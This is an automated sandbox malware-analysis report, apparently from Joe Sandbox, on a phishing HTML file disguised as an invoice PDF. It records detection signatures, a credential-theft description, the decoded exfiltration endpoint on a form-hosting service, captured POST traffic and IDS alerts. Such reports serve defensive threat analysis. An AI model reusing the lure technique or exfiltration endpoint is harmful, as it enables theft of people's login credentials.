Edit tour

Windows Analysis Report
Electronic_Invoice(20 Mar 2025).pdf.html

Overview

General Information

Sample name:	Electronic_Invoice(20 Mar 2025).pdf.html
Analysis ID:	1644122
MD5:	20b9983b934ea88ae95751bbd6252e72
SHA1:	79ba5f09c60923f0d09be35e2c0eb0fb22812726
SHA256:	686f59220b0cebc250fbbc82aea11aa24c1ee5423cd22b4a995bbe9dd830a49c
Tags:	htmlShippinguser-cocaman
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected HtmlPhish10

AI detected suspicious Javascript

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Electronic_Invoice(20 Mar 2025).pdf.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Electronic_Invoice(20 Mar 2025).pdf.html	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ET PHISHING Possible Successful Credential Phish - Form submitted to submit-form Form Hosting

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T11:44:51.035126+0100	2030707	1	Successful Credential Theft Detected	192.168.2.5	49743	3.168.73.69	443	TCP
2025-03-20T11:44:59.708574+0100	2030707	1	Successful Credential Theft Detected	192.168.2.5	49746	3.168.73.69	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Electronic_Invoice(20 Mar 2025).pdf.html

ReversingLabs: Detection: 25%

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: Electronic_Invoice(20 Mar 2025).pdf.html, type: SAMPLE
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: data:application/x-javascript;base64,JChkb2N1bWVud... This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and obfuscated URLs. It collects user email and password information and sends it to a remote server, potentially for malicious purposes. The script also attempts to redirect the user to a different domain after a certain number of failed login attempts, which is a common phishing tactic. Overall, this script exhibits a high level of suspicious and potentially malicious activity, warranting a high-risk score.

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html

Tab title: Electronic_Invoice(20 Mar 2025).pdf.html

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: Number of links: 0

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: Electronic_Invoice(20 Mar 2025).pdf.html

HTTP Parser: Base64 decoded: https://submit-form.com/KneMFWp0s

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: Title: does not match URL
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: Title: does not match URL

Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html

HTTP Parser: Has password / email / username input fields

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: <input type="password" .../> found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: <input type="password" .../> found

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No favicon

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="author".. found

Source: Electronic_Invoice(20 Mar 2025).pdf.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.174.26.219:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.174.26.219:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.69:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.87:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.116.98:443 -> 192.168.2.5:49745 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 207.174.26.219 207.174.26.219
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: Network traffic	Suricata IDS: 2030707 - Severity 1 - ET PHISHING Possible Successful Credential Phish - Form submitted to submit-form Form Hosting : 192.168.2.5:49746 -> 3.168.73.69:443
Source: Network traffic	Suricata IDS: 2030707 - Severity 1 - ET PHISHING Possible Successful Credential Phish - Form submitted to submit-form Form Hosting : 192.168.2.5:49743 -> 3.168.73.69:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.33.40.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.72.99
Source: unknown	TCP traffic detected without corresponding DNS query: 23.33.40.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.72.99
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.6.4.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LzTQVcnV/background.png HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LzTQVcnV/background.png HTTP/1.1Host: i.ibb.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KneMFWp0s HTTP/1.1Host: submit-form.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted. HTTP/1.1Host: submitted.formspark.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KneMFWp0s HTTP/1.1Host: submit-form.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: submit-form.com
Source: global traffic	DNS traffic detected: DNS query: submitted.formspark.io
Source: global traffic	DNS traffic detected: DNS query: lgpartner.ch
Source: global traffic	DNS traffic detected: DNS query: google.com

Source: unknown

HTTP traffic detected: POST /KneMFWp0s HTTP/1.1Host: submit-form.comConnection: keep-aliveContent-Length: 91sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: Electronic_Invoice(20 Mar 2025).pdf.html

String found in binary or memory: https://code.jquery.com/jquery-3.6.4.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.174.26.219:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.174.26.219:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.69:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.87:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.116.98:443 -> 192.168.2.5:49745 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Electronic_Invoice(20 Mar 2025).pdf.html

Initial sample: invoice

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir704_1829186258

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir704_1829186258

Jump to behavior

Source: classification engine

Classification label: mal72.phis.winHTML@32/6@43/9

Source: Electronic_Invoice(20 Mar 2025).pdf.html

ReversingLabs: Detection: 25%

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Electronic_Invoice(20 Mar 2025).pdf.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html

HTTP Parser: file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Electronic_Invoice(20 Mar 2025).pdf.html	25%	ReversingLabs	Document-HTML.Phishing.Beluga

Source	Detection	Scanner	Label
https://submit-form.com/KneMFWp0s	0%	Avira URL Cloud	safe
https://submitted.formspark.io/?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted.	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.251.40.142	true	false	high
code.jquery.com	151.101.2.137	true	false	high
submitted.formspark.io	18.164.116.98	true	false	unknown
www.google.com	142.250.81.228	true	false	high
submit-form.com	3.168.73.69	true	false	high
i.ibb.co	207.174.26.219	true	false	high
lgpartner.ch	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://submitted.formspark.io/?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted.	false	Avira URL Cloud: safe	unknown
https://submit-form.com/KneMFWp0s	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.4.min.js	false		high
file:///C:/Users/user/Desktop/Electronic_Invoice(20%20Mar%202025).pdf.html	true	Avira URL Cloud: safe	unknown
https://i.ibb.co/LzTQVcnV/background.png	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
207.174.26.219	i.ibb.co	United States	6079	RCN-ASUS	false
3.168.73.69	submit-form.com	United States	16509	AMAZON-02US	false
142.250.81.228	www.google.com	United States	15169	GOOGLEUS	false
3.168.73.87	unknown	United States	16509	AMAZON-02US	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
18.164.116.98	submitted.formspark.io	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.7
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644122
Start date and time:	2025-03-20 11:43:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Electronic_Invoice(20 Mar 2025).pdf.html
Detection:	MAL
Classification:	mal72.phis.winHTML@32/6@43/9
EGA Information:	Failed
